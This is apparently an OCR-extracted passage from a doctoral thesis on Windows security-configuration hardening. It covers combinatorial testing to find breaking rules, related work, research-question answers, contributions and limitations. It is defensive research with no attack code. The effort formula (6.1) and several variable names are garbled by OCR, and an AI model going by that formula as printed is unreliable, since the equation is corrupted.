We also evaluated the logic optimization approach compared to the decision tree-based
heuristic approach. The logical optimization took more time than the heuristic. Thus,
we excluded breaking rules sets with more than 5 clauses, more than 9 rules per clause,
and did not evaluate the random variants of breaking rules sets. Since more test cases
increased the size of the truth table to be minimized, calculation time heavily depended on
the strength of the covering arrays; the algorithm calculated the results of strength 2 and 3
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in seconds, 4 in minutes, but for 5, it took more than 24 hours. Also, more clauses lead to
longer computation. As expected, the logical optimization calculated all solutions correctly
within the strength of the covering arrays and most of the remaining solutions; it incorrectly
calculated only 3 of the 35. The decision tree-based heuristic led to 4 incorrect results in
this sample set. Thus, the performance of the logic minimization approach is similar to the
decision-tree-based heuristic.

6.7. Discussion

In this chapter, we will discuss the results of the evaluation and answer our research
questions.

6.7.1. Finding Breaking Rules

The results of our evaluation showed that one can use combinatorial testing and specifi-
cally covering arrays to find breaking combinations of rules; nevertheless, there are some
caveats to this result that we will discuss in Section 6.8. Furthermore, we can use logical
minimization or machine-learning-based heuristics to find a maximal non-breaking set.
However, our results also showed that there are some caveats. First, we could not create
covering arrays with a strength of 6 (we will discuss the problem of 6 as a targeted number
in Section 6.8.2), although we assumed this was the necessary strength to cover all breaking
sets in practice. Even generating covering arrays of a strength of 5 occupied too much
memory (340GB) for (13 days) so this is hardly useful for public guides, e.g., from the CIS.
For private guides, e.g., at Siemens, it is not economical to spend that many resources on
every guide. Thus, it is more realistic to use 4-way covering arrays, guaranteeing that we
will find all combinations of 4 breaking rules or less. Nevertheless, the results show that
our heuristic approach can find some solutions for higher combinations or at least subsets
of an optimal solution that could help the administrators. Since we have no information
about the distribution of the breaking rules in practice, the answer of RQ1 is twofold. If
all or most breaking functionality results in practice from 4 or fewer rules, covering arrays
and our heuristic analysis can reliably identify the breaking rules. If a significant portion of
breaking functionality results from 5 or more rules, covering arrays and heuristic analysis
can only help to identify the optimal solution.

6.7.2. Effort

Generating different covering arrays depends on the number of rules in the chosen guide
and the desired strength of the combinations. Based on that, it requires a couple of hours,
days, or even weeks. However, we need this generation only once when the publisher
publishes the guide and not for every system we want to harden with the given guide.
The CIS also updates its guides, but if the rules change, they do not have to regenerate the
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covering arrays. If they add new rules, they could reuse the existing arrays to speed up the
generation. As stated above, we would argue that it is more realistic to use 4-way covering
arrays as 5-way covering arrays are too expensive. One potential solution to this problem is
storing the calculated covering arrays and reusing existing ones. Since the covering arrays
do not have to contain sensitive data, CIS or Siemens could generate them and share them
publicly with other organizations.

We can estimate the effort of identifying breaking rules for a given system ¢ using the
following formula:
Nc

ts = Nyms - tym + tsw + N
VMs

(ta+tr + tsr) + tana (6.1)
with

Nc the number of tuples, e.g., 305 for the G¢js wip guide and 4-way covering arrays of the
IPOG-D.

Nyps the number of instances, e.g., 2 in our evaluation.
tym the time needed to prepare the instances, i.e., Testing process, Step 2.

tsw the time to start the instances and set up the software whose functionality we want to
ensure, i.e., Step 3.

t4 the time needed to apply all rules in a tuple, i.e., Step 8.

tr the time needed to execute the automatic tests, i.e., Step 9

tsg the time needed to do a soft reset of the applied rules, i.e., Step 10
tana the time needed for the analysis of the test runs

Setting up a local VM, e.g., with Vagrant, can last for several minutes, whereas a VM
in the cloud, e.g., on AWS, is much faster. sy depends on the complexity of the software.
In our evaluation, we tested a core function of Windows 10 and, thus, did not install any
additional software. In our previous study [107], we showed that t 4 is for Windows 10
rules below one 1s per rule but not negligible when executed many times. tr depends on
the complexity of the tests. The script took a couple of seconds in our evaluation, but if one
uses complex tests, this could take minutes or hours. tsg in contrast, is again in the order ¢ 4.
tana with the decision trees, and the shortest path algorithm takes only a couple of seconds
using our heuristic and several minutes with the logic minimization.

As mentioned in Section 6.6.2, our experiments run for more than 12h with covering
arrays of strength of 4, answering partially RQ2. This time might be reasonable if we
execute it only for releases, but it is too much to use in CI contexts. We can mainly influence
two factors in the equation: the number of tuples N¢ and the number of instances Nj. If
we reduce the number of tuples by choosing covering arrays with lower power, we will
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not detect some complex combinations. Thus, we will increase N1 by using more instances
in parallel, e.g., on-demand in the cloud. If we used 30 on-demand instances, we only ran
11 combinations on every machine. On average, a combination applied 240 rules, i.e., the
application and software reset would last at most 240s. Assuming that the automatic tests
last 2min, the whole process would need 2h. To estimate this process’s price, we calculated
30 on-demand Windows 10 instances, each with 2 cores, 4GB RAM, and 25GB storage on
AWS. The estimation there was that this would cost around $3. We argue that 2h is short
enough to include this process into regression tests running every night and $3 is cheap
enough to execute the process for most systems.

A naive Monte Carlo algorithm based on this would start with the covering arrays of the
strength of 2, proceed with strength 3, and stop at a fixed amount of time. With this, we
would more efficiently find problems with smaller combinations. However, we would risk
missing some problems due to combinations of a higher degree.

6.8. Threats to validity

In this section, we list potential threats to the validity of our results.

6.8.1. Internal validity
Choice of the Breaking Rule Sets

We evaluated our approach with our breaking rule sets. We tried to cover a variety of
possible breaking rules and added, e.g., formulas with no overlap, such that the result must
contain one rule from each subformula. However, there could still be an unintended bias in
these sets.

6.8.2. External validity
Lack of Good and Automated Tests

One core assumption of this chapter is that there are automatic tests whose failure indicates
that some function is broken. However, in most organizations, there are no tests for their
legacy systems at all. Some organizations test their legacy systems manually, but even if
the needed effort is minimal, repeating a manual task in combination with the covering
arrays makes the whole process impractical. If there are automatic tests, they might not
reveal that the functionality is broken. We would then harden the running system, break
some functionality, but recognize this much later, probably with some outtakes and user
complaints. Writing good tests is a hard problem, and we did not include the effort of
creating such test cases in the effort calculations of our approach. If we took the TUM-
PC mentioned in the previous chapter as an example, it would be very for the TUM-PC
administrators to map all use cases of the university employees and students to automated
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scripts. However, one could start with the most common examples, e.g., Power Automate
scripts that send emails via Outlook and the TUM Exchange server. Thus, the administrators
could ensure these core functionalities work despite all hardening measures. The users
could still report this via email if there were a problem with a non-core functionality.

Lack of Real Breaking Rule Sets

Our chosen breaking rule sets might not represent breaking rules in real-world systems.
We based our breaking rules sets on results on the literature claim that there are no failures
resulting from combining more than 6 parameters. We have not found any evidence that
combinations of more than 6 parameters are relevant in our context; thus, we assume that
we can use 6 as an upper bound. However, we do not know what combination of rules
causes problems in practice or how their distribution is. Our assumption here is that the
occurring problems might also depend on the size and complexity of the system, i.e., that
more complex combinations of breaking rules only occur in more complex systems. We
needed an extensive case study where we collected real-world configuration problems,
identified the breaking rules manually, and assessed the complexity. With this case study’s
data, we could determine the distribution of the breaking rules and assess how useful our
approach is in practice.

Problematic PoC Setup

We assume that one can use our approach with any guide. However, we show this with our
PoC implementation only for Windows 10 guides. Furthermore, we assumed that one can
isolate the system in an image which might also not be the case for many systems, especially
complex systems communicating with each other and the internet.

Importance of the Maximal Set

We claim that the algorithm is successful if it returns a maximal set of non-breaking rules
for a given profile based on the current breaking rule set. However, this might not be that
important in practice. If Alice applies all but one rule of the theoretical maximal set, the
system’s security might not be optimal, but much better than without hardening. Thus, a
more efficient heuristic algorithm returning only a subset of a maximal set might be more
economical in practice. Furthermore, not every rule is equally important as the other. Thus,
we need to incorporate the importance of the rules into our approach. We need to consider
in the future what the optimal solution is and what acceptable solutions are. The next step
will be to adjust the weight of the rules based on the system and its criticality. The result
here could also be that we only need a couple of essential rules on a specific system to reach
a good level of security and that the gain of applying the complete guide might not be that
high.
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6.9. Conclusion

We have shown in this chapter that one can use combinatorial testing to find combinations
of breaking rules and machine-learning-based heuristics to find maximal non-breaking sets.
Administrators can use these sets to harden their systems. Thus, they will get maximal
security from the configuration hardening and keep the system running.

We showed how we could use existing techniques from the software testing domain
to solve a problem in configuration hardening. Since we published our code, we hope
administrators can use it to harden their systems. Furthermore, other researchers can
improve our approach or the implementation to devise more efficient ways to harden a
system without breaking its functionality.

However, as we have discussed in Section 6.8, administrators need automatic tests to
apply our approach. Thus, we advocate for more automatic testing. Only if administrators
have sufficient automatic tests to ensure that all system functions are still working, they
will have the courage to implement security measures of any kind.

Until administrators have automatic testing, they can test the covering arrays of the
guides in A/B tests: Then, they apply one tuple to the machines of selected employees. If
employees cannot do their work due to the applied rules, they report this to the administra-
tor. The administrator marks the tuple as breaking and reverts the rules of the tuple on the
employee’s machine so they can work again. After the administrator has tested all tuples,
they can use our tool to find the breaking rules based on the breaking tuples. Ultimately,
we will need more testing to have more secure systems in the future.
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7. Related Work

This chapter enumerates and discusses related work particularly in the fields
configuration management, natural language processing, software engineering,
software testing, and security configuration. Parts of this chapter have previously
appeared in peer-reviewed publications [107,113, 115, 1161, where the author of
this thesis is the first author and the only Ph.D. student within the publication’s
authors.

7.1. An Improved Process for Security Hardening

First, we present the current work on configuration management in general and security
hardening in particular. Second, we discuss approaches similar to our testing approach.

In past, researchers investigated heavily in misconfiguration in general, and security
misconfiguration in particular [20, 24, 42, 121, 136]. Dietrich et al. [24] show in their study
that security misconfigurations are very common and a severe problem. According to their
data, manual configuration, vague or no process, and poor internal documentation are the
main environmental factors that we could solve with a better approach and tooling.

Many researchers investigated how we can detect and remove misconfigurations [46,
92,100, 119]. Rahman et al. [92] analyzed thousands of IaC scripts to identify insecure
configurations; the framework ConfigV' [100] learns good configuration settings based on
given configuration files. Depending on the guide’s target, such techniques could be used to
develop the guide or check for problems with the chosen configuration settings by applying
them to the generated implementation artifacts. SPEX [137] examines the source code
of programs in order to find security-related configurations and would thus be useful in
the creation of public guides for open-source software as well as internal guides for one’s
products.

The creation of automated implementation/check mechanisms becomes much easier
when a unified framework for setting and checking configurations for a software product is
in place. The Elektra framework [90], for example, unifies how we can access configuration
settings and creates a central structure for accessing and manipulated configuration settings.
Xu et al. [138] developed a similar approach to Elektra. Furthermore, they showed [139]
convincingly that the configuration’s complexity is overwhelming users and systems ad-
ministrators. The results of the study underline how important security experts and security
guides are in supporting the administrators.
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The ComplianceAsCode project [84, 95] is very close to the presented approach. The
authors maintain their security-configuration guides for various Linux systems in a git
repository and represent every rule with one file. This file references other files, e.g., with
scripts for automated checking. Nevertheless, some drawbacks prevented us from using
ComplianceAsCode. First, their focus on Linux-based operating systems did not support
our initial, primary use of Windows hardening. Second, in contrast to ComplianceAsCode,
we try to generate as much as possible from a single abstract specification, whereas Compli-
anceAsCode maintains a check in OVAL and the implementation mechanism(s) for each
setting in a different language. Nonetheless, it would ease the security configuration enor-
mously if the publishers distributed their guides in a format akin to ComplianceAsCode so
that documentation, check and implementation are more aligned.

Software testing is a well-researched discipline, and every year, new articles add more
information to the general knowledge [4, 15, 17, 22, 29, 58, 61, 82, 98, 126]. Therefore, we
can only refer to a fraction of all available and valuable testing research. Many researchers,
e.g., [4, 44] use sophisticated testing approaches to find security-relevant bugs or leaks in
software. In contrast, we use testing approaches to find bugs in the security-configuration
guides, not the software itself. In industry, there is a strong need for automated testing,
especially in the DevOps scenarios [73]. Also, there are some obstacles to overcome,
e.g., when testing a software’s graphical user interface [132]. Since we use our approach
productively at Siemens, we had to overcome similar problems as the researchers above.
The closest research to our process of testing security-configuration guides is the work of
Spichkova et al. [105]. Their tool VM2 creates VM images and hardens them automatically
with given security-configuration guides. They also use the CIS’s guides, but they see
guides as given and immutable, whereas we include in our approach the constant update
and maintenance of the guides to adjust them to a company’s security policy. Furthermore,
they focus on the combination of Linux-based OSs and Ansible. In contrast, the diversity of
technologies within Siemens forced us to support different application and check modes in
our approach.

7.2. Automated Implementation of Windows-related
Security-Configuration Guides

Many studies have been conducted in the field of misconfiguration, e.g., [20, 24, 42, 121,
136]. Especially the study of Dietrich et al. [24] is relevant for our research. Their study
provides strong evidence that security misconfigurations are more common than usually
assumed. This emphasizes how important and yet underestimated this field of research
currently is. Furthermore, they have identified the lack of knowledge and experience as
core factors for security misconfiguration and argue that we need more automation in the
whole process to make systems more secure. By using security-configuration guides, we
want to tackle the first problem, with our automated implementation the second.
Additionally, many researchers explored how to detect and how to avoid misconfigura-
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tions [46, 92, 100, 119]. Rahman et al. [92] analyzed thousands of Infrastructure as Code
(IaC) scripts to identify insecure configurations and security smells. They used these smells
to create a linter for creating more secure IaC scripts. Although their linter is comparable to
the hints we give to the administrators, we are targeting different problems. Where they are
extracting knowledge from the IaC scripts on how to configure systems securely, we already
have this information and have to apply it. Furthermore, as discussed before, we think that
IaC scripts are not sufficient to specify security-configuration guides. Similar work was
done by Santolucito et al. [100]. Their framework ConfigV aims at similar problems as our
verification step. In contrast to them, we cannot learn secure configurations. Instead, these
are defined in the guides, and the constraints do not have to be learned but can be extracted
from the ADMX/ADML files. Similarly, SPEX, developed by Xu et al. [137] is not applicable
in our case, as we do not have the source code of the programs we want to configure.

Raab et al. [87, 88, 89] created the Elektra framework to validate the access to configuration
values to detect misconfigurations as soon as possible. We tried to achieve the same with
our a-priori verification process. In their study [89], they investigated how Free and Open-
Source Software (FOSS) can be configured and the problem of validating configurations for
it. One finding is that presently, configuration validation is encoded in a way unusable for
external validation or introspection tools. Although Windows is not a FOSS, we encountered
the same problem. This is why we had to implement our verification mechanism instead
of simply using an existing tool. Furthermore, Elektra is tailored towards developers who
create new software, not for administrators of existing software and it cannot handle the
Windows policy settings we have to change according to the guides. Thus, we could not
apply Elektra.

A similar approach to Elektra was developed by Xu et al. [138] with the same problems
so we could also not use it in our case. In their study [139], they have shown how the
growing complexity of the configuration of systems is overwhelming users and systems
administrators. They did not investigate Windows systems, yet many of their findings
apply to our domain, too. For instance, users have tremendous difficulties because they
do not know which parameters to set and that this induces up to 50% of the configuration
errors. This supports the claim that we need security-configuration guides created by
experts, to be used by system administrators.

Wang et al. [130] present an approach at automatic reverse engineering of an application’s
access-control configurations. Although the application domain is similar to our context, we
could not apply their work for our need as we do not have the source code of the programs
we want to configure securely.

There also is a lot of research in the field of extracting important parameters or configu-
ration values from human-readable documents [43, 78, 91, 101, 120, 134, 140, 144]. Yang
et al. [140] present an approach to automatically extract web API specifications from the
documentation of a software similar to the extraction of our configuration values from the
security-configuration guidelines. However, the fact that our documents do not contain
as many links made this approach unfeasible in our case. Using NLP, Wong et al. [134]
developed an approach at extracting information from program documentation to improve
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automated testing. They use grammar rules to identify relevant comments and extract
constraints from them. In our case, the security-configuration guides describe concepts
from a higher level then program documentation. Furthermore, we do not need to extract
the constraints from the security-configuration guide. Thus, this approach was also not
applicable in our context.

Closest to our work regarding our aims of providing rule-by-rule implementation is the
OpenSCAP project [84, 96]. OpenSCAP maintains its security-configuration guides for
various Linux systems in a git repository, where each rule is represented by one file; usually,
the file holds references to other files containing artifacts for automated implementation and
check. However, we cannot use OpenSCAP. First, OpenSCAP cannot implement the rules
from the Windows-based guides. Second, if OpenSCAP could implement them, we would
first have to add the scripts manually to the guides of CIS or DISA. We think that the guides
in the context of OpenSCAP are one step ahead of Windows guides published by CIS or
DISA because of the connection between implementation and checking. In the future, we
hope that the publishers distribute their Windows guides similarly to OpenSCAP in a form
that is as easily implementable as checkable. We consider our approach an intermediate
solution to bring the automatic implementation of Windows-based guides to a comparable
level as long as this is not the case.

Ongoing activities regarding further improvements of automating security as carried out
by the IETF Security Automation and Continuous Monitoring (SACM) work group [8, 12,
71] as well as a first indication of the direction work towards SCAP version 2 as outlined in
a transition document [127], have a clear focus on checking security-configuration settings
and disregard their implementation—which is precisely the gap we want to close in this
work.

To sum up the related work: some approaches use NLP to extract settings from the
documentation or the source code of a program, but to our best knowledge, no approach
extracted the settings from security-configuration guides. Furthermore, some approaches
like Elektra help to improve the configuration of newly developed software, but we cannot
use them to configure existing and closed-source Windows systems. We can automatically
implement the guides of some Linux variants with the OpenSCAP approach if the pub-
lishers distribute them with the scripts necessary for OpenSCAP. However, we cannot use
OpenSCAP to implement existing Windows-based guides automatically. Thus, we tackled
these gaps in the literature and put the developed components together to demonstrate that
our proposed approach and our PoC implementation are achieving promising results.

7.3. Automated Identification of Security-Relevant Configuration
Settings Using NLP

Research about configuration is an essential part of the software engineering [6, 75] as well
as the security domain [24]. Most relevant for the problem of identifying SR settings is
sentiment analysis, where we classify documents as being positive or negative, depending
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on the expressed sentiment [35]. We limited ourselves to SA approaches that do not need
much data. Qiu et al. start from a seed lexicon containing a few meaningful features and
expand it via the exploitation of a specific characteristic [85]. They use dependency rules to
extract features from the data set and add words iteratively to the seed lexicon that occur
in a particular dependency relation to a word from the seed lexicon. The lexicon-based
approaches build on the assumption that specific words express either one of the opposing
sentiments, i.e., good is characteristic for the positive and not for the negative sentiment.
However, our evaluation shows that the assumption does not hold for the vocabulary of
settings” descriptions.

7.4. Automated Identification of Breaking Security-Configuration
Rules

Research on configuration management is well-established, but there are constantly new
insights into this topic [27, 93, 123, 125]. Dietrich et al. presented the best overview of the
needs of administrators to avoid security misconfigurations [24].

Although originating in the 80s [62], the combinatorial testing research is still very
active [135]. Kuhn et al. showed that one could use combinatorial testing to test whether the
software works with all settings of the software itself, but also whether the software works
in every possible configuration of a system [49]. As mentioned before, we use the IPOG [53]
and IPOG-D [54] algorithm to generate our covering arrays. The most inspiring article for
our work was the approach Yilmaz et al. of to finding faults when testing software using
combinatorial test cases [141]. Furthermore, they suggested further analyzing the test case
results using classification tree analysis. We ported their approach to the domain of security
configuration. However, they were only interested in a combination failing, whereas we are
interested in a maximal solution, i.e., applying as many rules as possible.

139






Part II1.

Conclusion

141






8. Conclusion

This chapter summarizes the findings of this thesis and draws conclusions from
them to address the research questions posed in Chapter 1. It discusses the
limitations of this work and suggests different aspects on how to further enhance
it.

In the previous chapters, we presented how we tackled different aspects of security
configuration. First, we presented our process for managing security-configuration guides.
With this new process, we aimed to make the process of security hardening more efficient.
Second, we demonstrated how one can use NLP techniques to automatically implement
Windows-related security-configuration guides. Third, we showed how one can use NLP
to automatically identify security-relevant configuration settings. However, we would have
to improve the classification performance drastically to replace the security experts in this
task entirely. Fourth, we showed several attacks on state-of-the-art Windows 10 machines
based on publicly available resource. We could make these attacks impossible, much more
complicated for the attacker, or reduce their impact if we implemented the rules presented
in this chapter. Fifth, we presented our approach of using software testing techniques to
find security-configuration rules which reduce the functionality of our system. Thus, the
risk of breaking the system by administrators, who want to do configuration hardening,
can be reduced.

In this final chapter of this thesis, we first recapitulate the research questions posed in
Section 1.2. Next, we underline the contributions of thesis. In the third part of this chapter,
we discuss the different limitations of this thesis. Afterward, we discuss on what we or
other researchers could work on in the domain of security configuration in the future. In
the last part of this chapter, we discuss what one can learn in general from this thesis.

8.1. Addressing the Research Questions

In this section, we discuss whether and how this thesis answers the research questions
posed in Section 1.2.

RQ1 We described the numerous problems of the theoretical process of configuration hardening.
However, we need an efficient process for the configuration hardening to fill Literature Gap 1. Here,
we cannot remove or replace the tailoring itself because one guide with a couple of profiles will
never cover all potential use cases of software. Thus, we can only facilitate the tailoring process
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as much as possible. The tailoring problems seem similar to those from the beginning of software
development. Thus, our research questions here are: How does this influence the tailoring process if
we use established techniques from the software engineering domain, e.g., VCSs, CI, tests, et cetera?
Can we detect mistakes in changes using CI testing? Can we facilitate the adjustment of rules when
we handle a security-configuration guide like a software project? Can we compare different versions
of a security-configuration guide more easily if we use VCSs like git?

We could enhance the tailoring process by combining existing software engineering
techniques. git as the underlying VCS enables several authors to work together on one
guide. The rich feature set allows them to create branches or mark important versions with
tags so that we can identify them later and compare them with other versions. The Scapolite
Format as a pure text-based format with its one-rule-per-file structure made it easier for
the rule authors to create or change rules. Our elaborated guide testing, including static
semantic checks and dynamic checks on cloud instances, helps us find many basic mistakes
in a very early stage. Furthermore, we presented how our new hardening process was
adopted at Siemens and how it is now influencing how security experts at Siemens write
their measure plans. We could not compare the experiences of the security experts working
at Siemens with our new process with the experiences of other security experts using the old
process. However, the adoption of the Scapolite Format and our new approach at Siemens
demonstrates that our process is applicable in practice.

Thus, we could answer all aspects of RQ1, although only in a qualitative way.

RQ2  Problem 2 of this thesis has two challenges, i.e., the extraction and the implementation of
the rules on the basis of the extracted values, that currently prevent us from implementing security-
configuration guides automatically. As described above, the standard for security-configuration
guides SCAP does not automatically specify how to implement rules. Thus, the creators of security-
configuration guides like the CIS overcome this issue by using non-standardized solutions. However,
for Windows as the primary OS in most organizations, the administrators could not extract the
important values or implement the rules based on them automatically. Therefore, implementing
security-configuration guides is tedious, time-consuming, error-prone, and hardly done in practice.
Since the values are in the natural language description of the rules: Can we use state-of-the-art
natural language processing to extract the values needed to implement Windows-related security-
configuration guides automatically? How many rules can we automatically derive an implementation
from the text in natural language? How high is their percentage? How many of the extracted rules
are automatable, and how many automatable rules were not extracted? After correcting wrongly
extracted automations: How many rules can we implement automatically for the complete guide?
How much time does our approach require to extract the information, verify it, and implement the
rule? How many rules are implemented correctly following the automated checks?

Our approach successfully implements Windows-related security-configuration guides.
In the first part of the evaluation of this chapter, we could show that our NLP-based
approach extracts 83% of the rules correctly for an example Windows-based DISA guide.
The results have been similar on other Windows-based DISA guides and with the second
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grammar (see Listing A.6) also on Windows-based DISA guides. On the one hand, it creates
for 1.0% of the rules automations, although these rules cannot be automated. On the other
hand, it misses 1.9% of the automatable rules. For the other rules, it presents the results of
the extraction and verification step to the guide author so they can easily choose the correct
value. After measuring the time needed for the different steps, we showed that all steps are
sufficiently fast to include them in a Continuous Integration context and way faster than
a human expert could do them. In the second part of the evaluation, we showed that we
could correctly implement 97% of the rules in our evaluation set with our method.

We could answer all aspects of RQ2 in our evaluation. In contrast to RQ1, we could
answer all parts with quantitative data without relying on qualitative statements. Further-
more, we could answer RQ2 in general and very much in favor of our approach. The results
confirm that our approach is efficient, with only a few false negatives and false positives.

RQ3  To solve Problem 3, i.e., to support security experts and administrators in finding security-
relevant settings, we need to answer the following research questions: What could be a practical
definition of security-relevant configuration settings based on their documentation in natural
language? How can we efficiently create data sets with security-relevant and non-security-relevant
configuration settings? How well can we identify security-relevant configuration settings with
state-of-the-art natural language models? Are the models sufficiently good to replace security experts
in identifying security-relevant rules?

To efficiently create data sets with security-relevant configuration settings, we defined
the security-relevant settings as those that have a corresponding security-configuration rule
in a given guide. We showed that the best natural language processing model we could
train achieves an F1 score of 42% on our data set. To our knowledge, no other classifier
has been proposed in the literature for this problem, and our model outperforms any naive
classifier with this F1 score. However, this needs to be higher to replace the security experts
in this task.

We could answer all aspects of RQ3 in our evaluation. However, the quantitative results
suggest that our approach performs poorly; this is in contrast to RQ2, where we could meet
our goals. Thus, this approach is only a first step in the right direction but not the ultimate
solution to this problem.

RQ4  To make security-configuration hardening more attractive for administrators and organiza-
tional decision makers, we have to better explain the risk of bad security-configuration management.
To address Problem 4, namely the missing data about attacks on hardened vs. non-hardened systems,
we formulated the following research questions: Assuming we have no access to zero-day exploits
or insider knowledge, which attacks based on publicly available tools and known weaknesses can
we execute on systems in their default configuration? How many attacks are impossible or more
difficult if we secure the system? What are the ramifications of the attacks that are only possible
on the non-hardened systems, i.e., what kind of consequences can we prevent by the hardening?
What assumptions do we need for the attacks? Are they realistic? We as a company have to act

145



8. Conclusion

economically. Thus, it is not rational for most companies to prepare against sophisticated attacks
that use zero-day exploits, but low-effort attacks should be prevented.

To answer RQ4, we presented several attacks based on publicly available material. As
expected, we could not create a zero-click attack from the known problems. Most of
our attacks need an initial access, e.g., via a phishing email. Although initial attack is a
constraint, it is not unrealistic that an attacker achieves this. At least to us, the ramifications
of the reproducible attacks on non-hardened systems are very costly. It was possible for us to
recreate these attacks regarding most attacker goals with reasonable effort. Thus, we argue
that an economically acting attacker could pursue them. Furthermore, we showed how
several security-configuration rules could block the attacks, make them more complicated,
or reduce their effects on the system’s security properties.

The answers to RQ4 are not as positive as for RQ2, but also not as bad as for RQ3.
On the one hand, we showed that even known problems could threaten state-of-the-art
Windows 10 systems. On the other hand, this chapter’s goal was to demonstrate the need
for configuration hardening to managers and administrators. Since we need the initial
access for all presented attacks, they can still take this constraint as an excuse for why they
should focus on awareness campaigns instead of configuration hardening.

RQ5 Problem 5, i.e., finding the relation between critical functions and settings that break them,
is conceptually similar to software testing problems. Thus, it is obvious to apply testing techniques
here. Our research question is then: How efficiently can existing techniques from the software testing
domain find these breaking settings, respectively, the corresponding configuration settings?

The evaluation of RQ5 also showed mixed results. In practice, we can indeed use software
testing techniques to find breaking security-configuration rules. However, we can only
efficiently find breaking combinations of up to 4 rules since the time for the generation of
the test cases, and the execution of the tests takes too much time.

General Thoughts regarding our RQs We admit that our evaluations led only to the
wished results for RQ2. For the other RQs, we have either no quantitative data (RQ1),
the qualitative data have some constraints (RQ4), or we have mixed (RQ5) or bad results

(RQ3).

8.2. Summary of the Contributions

After elaborating on how we have answered the research questions, we will discuss the
contributions of this thesis again in this section.

Contribution 1  To fill Literature Gap 1, i.e., the lack of standardized processes for the security
configuration, we proposed our new process for security configuration. To fill Literature Gap 2, i.e.,
the manual configuration, we created our PoC, which implements existing security-configuration
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quides automatically. To fill Literature Gap 3, i.e., the lack of knowledge, we created a PoC that
can automatically identify security-relevant settings based on their description. All three solutions
share the most significant contribution of this thesis: The application of natural language processing
into the field of security configuration. It is common practice that publishers create security-
configuration guides, and administrators read them. Given the contributions of this thesis, we can
use the full potential of the guides using natural language processing, i.e., we can find mistakes
and inconsistencies during the management of the guides. Furthermore, we can automatically
implement 83% of the rules in Windows-related security-configuration guides of DISA and CIS
based on the natural language description in the guides with no manual effort. With a minor manual
correction, i.e., the administrator has to confirm the corrected value coming from our verification
step, this number goes up to 97%. We introduced our NLP approach to find security-relevant rules
in new Windows-based software like Windows 10 or Windows Server 2019 and software managed
by Administrative Templates like Microsoft Edge or Outlook. By analyzing the natural language
description of the new configuration settings, we can reach an F1 score of 42%. Although more is
needed to replace the security experts, it is better than any naive classifier. We hope this thesis is
the starting point of more research on the intersection between security configuration and natural
language processing, especially with new natural language processing models like ChatGPT.

As we stated before, this is the most significant contribution of this thesis. By introducing
NLP techniques into the practice of security configuration, we facilitate the work of security
experts and administrators. The interesting aspect of this contribution is that the relatively
primitive NLP techniques used for the automatic implementation of Windows-related
security-configuration guides perform better than the more complex transformer-based
models we used for the identification of security-relevant settings. We think that this insight
sharpens what the main contribution of this thesis is: NLP techniques can tremendously
improve some parts of the security configuration. However, sometimes even sophisticated
language models cannot solve the existing problems. The presented case studies can help
researchers and practitioners in the security configuration field decide whether NLP could
solve their problem.

Contribution 2 To fill Literature Gap 1, we used existing software engineering concepts like
Version Control Sytem. We incorporated them into the new process for security configuration. To
fill Literature Gap 5, we used existing software testing, i.e., a subdomain of software engineering,
concepts like combinatorial testing for finding the breaking rules. These two solutions share the
second significant contribution of this thesis, i.e., the transfer of software engineering practices into
the field of security configuration. Before this thesis, one would manage and maintain a security-
configuration guide as a document with no VC, no automatic quality assurance, and no testing.
Now, we can manage security-configuration guides like any other software in modern VCSs. Thus,
we can quickly restore old versions, work simultaneously on guides, and see diffs between versions.
We can check guides statically like we can check Python code for type consistencies. We can run
automated tests for our guides like we as software engineers do for our Python or Java code. By
transferring the knowledge from software engineering into the domain of security configuration,
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we can professionalize the work on security-configuration guides and reduce the time to find errors
and the costs to fix them. We make this contribution more visual using the Siemens Windows 10
guide as an example. The development of the Siemens Windows 10 guide started shortly before
this thesis, and we could thus incorporate all techniques developed in this thesis into this project.
Currently, 15 different authors have created 1438 commits and merged 47 merge requests in this
project. By enabling them to write security-configuration rules in a text editor of their choice, more
people could contribute to a guide. Using an established VCS made the collaboration between the
different contributors easier. They could—as in any other software project—create merge requests and
assign other colleagues as reviewers. These reviewers could advise changes or accept the proposed
code. Since the project started, over 190 CI/CD pipelines have run. 75% of the pipelines succeeded
and delivered the latest version of the hardening scripts directly to security-aware early adopters
within Siemens. The failing pipelines helped the authors of the commit to identify their mistakes and
to fix them directly. After the success of the Siemens Windows 10 case, the security team at Siemens
has now adopted these techniques also for other systems, e.g., Windows Server 2016 and Debian.

As we presented in the previous chapters, we could successfully introduce established
software engineering techniques and practices into the field of security configuration. For
us, this contribution is less an achieved goal than a started process. By linking the field
of software engineering and security configuration, we hope we paved the way for many
other improvements. If new software engineering practice arise, they might come more
directly and quickly to the domain of security configuration, and, thus, make the process of
security configuration even more efficient or effective. The real contribution here is to start
this knowledge flow from software engineering to security configuration.

Contribution 3  To fill Literature Gap 3, we had to create first different data sets with security-
relevant and non-security-relevant configuration settings. We could train our models on these
different data sets in the next step. To fill Literature Gap 4, i.e., the lack of concern, we had to collect
a set of attacks with different impacts on hardened and non-hardened systems. Those two solutions
constitute this thesis’s third significant contribution, namely the publication of data sets in the
context of security configuration. The data set we published as part of [113] contains 4353 labeled
configuration settings for Windows 10 version 1803 and 4486 for the 1909 version [117]. Before
this thesis, there were no data sets with security-relevant configuration settings. Thus, executing
the experiments without these data was hard or impossible. We enable other researchers to perform
experiments in this domain by publishing those data sets.

All computer science disciplines are increasingly becoming more empirical sciences.
Thus, we need empirical data and data sets to evaluate methods and techniques. We hope
that our data set is the first open-source data set in this row and that many others will
follow. Thus, our data set could be the first step into a security-configuration process based
on empirical data more than before.
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8.3. Limitations

In this section, we will discuss the specific limitations of this thesis.

8.3.1. Empirical Data

To our best knowledge, there is no empirical data on the effects of configuration hardening
publicly available. Thus, we had to create our datasets to evaluate our approaches (see
Section 4.2 or Section 6.5.2). We could have introduced a bias into these datasets. However,
the most interesting data would be any combination of applied hardening measures with
real-world attacks on systems. Since these data are highly sensitive and might even influence
the value of a company on the stock markets, companies do not publish such data at all.
This lack of data makes it hard to compare the configuration hardening against other
security measures, e.g., installing an antivirus scanner, or comparing different configuration
hardening settings.

In the final phase of this thesis, we could at least gather empirical data on one aspect of
the security configuration, i.e., the time saved due to our automation. The tools described
in the previous chapters had been incorporated into a Siemens service to provide hardened
images, e.g., for Windows Server, for the cloud. In this context, we asked the users of this
service two questions:

1. How many hardened images will you have to build in total over the lifetime of your products
or projects?

2. How many hours of work do you save per image by using this service? Please include all
efforts including ramp-up, research, duplication of effort due to mistakes being made, etc.

The last question assumes that you have been hardening your Windows images manually. If you did
not do any hardening before, select “n/a”.

Since the work on this hardened image service started two years ago, the user base was
limited, and we got only five replies. One can see the responses in Table 8.1. User in this
context refers to the person responsible for the security configuration in one or more projects
using the new hardened image service.

